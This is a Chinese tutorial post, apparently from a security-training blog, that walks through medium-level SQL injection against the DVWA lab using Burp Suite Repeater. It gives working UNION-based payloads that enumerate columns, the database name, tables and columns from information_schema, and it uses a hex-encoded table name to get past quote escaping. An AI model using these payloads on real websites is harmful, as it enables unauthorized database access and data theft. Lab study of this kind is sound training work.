sql注入中级
Posted 滨院网安
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入中级相关的知识,希望对你有一定的参考价值。
POST注入借助Burpsuite工具
将DVWA Security调到Medium
1,查询User ID为3,点击Submit,先分析一下php源代码
首先我们可知这是POST型,先检查一下User Id 是否为空,如果为空执行下列操作,先赋值id,然后转义在 SQL 语句中使用的字符串中的特殊字符。之后在数据库中查询数据,将结果输出给result,从结果集中取得一行关联数组赋值到row,依次输出first name,sunname。最后关闭函数。因为稍后再index.php page
使用,所以我们可以
在此处进行设置,以便我们可以像在其余源脚本中一样在此处关闭数据库连接
2.函数分析
(1)mysqli_fetch_row():从结果集中取得一行,并作为枚举数组返回。
(2)mysqli_real_escape_string():转义在 SQL 语句中使用的字符串中的特殊字符。
其余函数在初级文档说明,在此篇不做重复阐述
3.进行实际操作
在bp软件中,当USER ID=3时,出现如下界面,为了方便,我们把他转到Repeater下,点击Action,然后Send to Repeater
在箭头指向部分将id=3改为id=3’,然后点击Go
在id=3’时会出现如下错误,这是因为有转义字符,单引号失效,需要进行绕过,后续会讲怎样绕过。
sql语句查询列数,在箭头那输入id=3 order by 2后点击Go,出现右面的结果
sql语句查询位置输入id=3 union select 1,2#
sql语句查询数据库名3 union select database(),2#
sql语句查询数据表名3 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
查询user表中列名
(对方使用转义字符屏蔽’ , “等特殊字符,使用绕过方法,可以使用users对应的ascii码进行绕过)id=3 union select group_concat(column_name),2 from information_schema.columns where table_name =’users’#
如何找users的ASCII,在Decoder中的Encode as 下找到ASCII hex就可出下面的
id=3 union select group_concat(column_name),2 from information_schema.columns where table_name =0x7573657273#
获取数据
本文介绍的是中级SQL注入,将持续更新SQL注入高级以及盲注,欢迎大家点赞和收藏,您的支持是我创作的最大动力!
以上是关于sql注入中级的主要内容,如果未能解决你的问题,请参考以下文章
安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段